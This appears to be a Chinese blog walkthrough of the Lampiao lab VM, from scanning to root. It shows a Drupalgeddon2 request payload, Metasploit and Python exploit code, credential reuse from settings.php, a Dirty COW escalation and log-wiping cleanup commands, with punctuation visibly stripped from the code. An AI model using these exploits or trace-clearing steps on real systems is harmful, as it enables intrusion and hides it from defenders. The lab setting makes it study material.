从信息收集到Root权限:一次完整的Lampiao靶机渗透实战解析

张开发
2026/4/14 14:56:19 15 分钟阅读

分享文章

从信息收集到Root权限:一次完整的Lampiao靶机渗透实战解析
1. 环境准备与信息收集第一次接触Lampiao靶机时我习惯性地先搭建了一个隔离的测试环境。建议使用VirtualBox或VMware创建一个独立的NAT网络把Kali攻击机和Lampiao靶机放在同一个网段。这里有个小技巧在VirtualBox的全局设置里创建专用NAT网络能避免干扰真实网络环境。用ifconfig确认Kali的IP后开始扫描同网段存活主机。很多人喜欢直接用nmap -sP但我更推荐这个组合命令arp-scan -l --interfaceeth0 | grep -v DUP它能快速列出活跃IP且避免重复结果。最近一次测试中我发现靶机IP是192.168.56.103这个结果比传统Ping扫描更可靠特别是在某些禁Ping的环境。接下来用半开放扫描探测开放端口nmap -sS -T4 --min-rate 1000 -p- 192.168.56.103参数解释-T4加速扫描我的老笔记本扛不住T5--min-rate 1000每秒至少发1000个包-p-全端口扫描扫描结果显示80和1898端口的HTTP服务最有价值。这里有个细节1898端口的服务头显示是Apache/2.4.18而80端口是Nginx这种混合Web服务器配置往往藏着配置漏洞。2. Web渗透与初始突破访问1898端口发现Drupal 7.54这个版本存在著名的Drupalgeddon2漏洞CVE-2018-7600。我试过三种利用方式手动验证漏洞在用户注册页注入POST /?quser/register HTTP/1.1 ... form_iduser_register_formmail[#post_render][]execmail[#type]markupmail[#markup]id如果返回uid信息说明存在RCE漏洞。MSF自动化利用use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.56.103 set RPORT 1898 set TARGETURI / exploit实测发现需要调整targeturi参数为/才能成功这是很多教程没提到的坑。手工利用脚本我修改了公开的Python脚本添加了交互式shell维持功能import requests from cmd import Cmd class Terminal(Cmd): prompt Drupal def default(self, args): resp requests.post(target, datapayload.format(args), verifyFalse) print(resp.text.split(!--)[0]) payload {form_id:user_register_form, mail[#type]:markup, mail[#markup]:{}, ...} terminal().cmdloop()3. 横向移动与凭证获取拿到www-data权限后我习惯先做这几件事升级shellpython3 -c import pty;pty.spawn(/bin/bash)检查sudo权限sudo -l查找配置文件find /var/www -name settings.php在/var/www/html/sites/default/settings.php中发现数据库凭证$databases array ( default array ( default array ( database drupal, username drupaluser, password Virgulino, host localhost, port , driver mysql, ), ), );用这个密码成功SSH登录系统用户tiagossh tiago192.168.56.103 # 密码Virgulino4. 内核提权实战查看内核版本uname -r显示3.13.0-32-generic正好在脏牛漏洞影响范围内。我测试了两种提权方法方法一MSF编译上传searchsploit dirty # 找到40847.cpp upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp g -Wall -pedantic -O2 -stdc11 -pthread -o cow /tmp/40847.cpp -lutil ./cow执行后会自动把root密码改为dirtyCowFun实测成功率90%。方法二手动编译遇到g缺失时可以这样解决# 靶机上 nc -lvp 4444 dcow.tar.gz # Kali上 tar czvf dcow.tar.gz 40847.cpp nc 192.168.56.103 4444 dcow.tar.gz # 靶机解压后 make ./dcow这种方法的优势是不依赖g直接用make编译。提权成功后记得清理痕迹history -c rm -rf /tmp/* echo /var/log/auth.log整个渗透过程最耗时的其实是信息收集阶段约占总时间的60%。建议新手重点关注Nmap的高级用法和Web目录爆破技巧比如用gobuster时加上-x php,html,txt扩展名参数能显著提高效率。

更多文章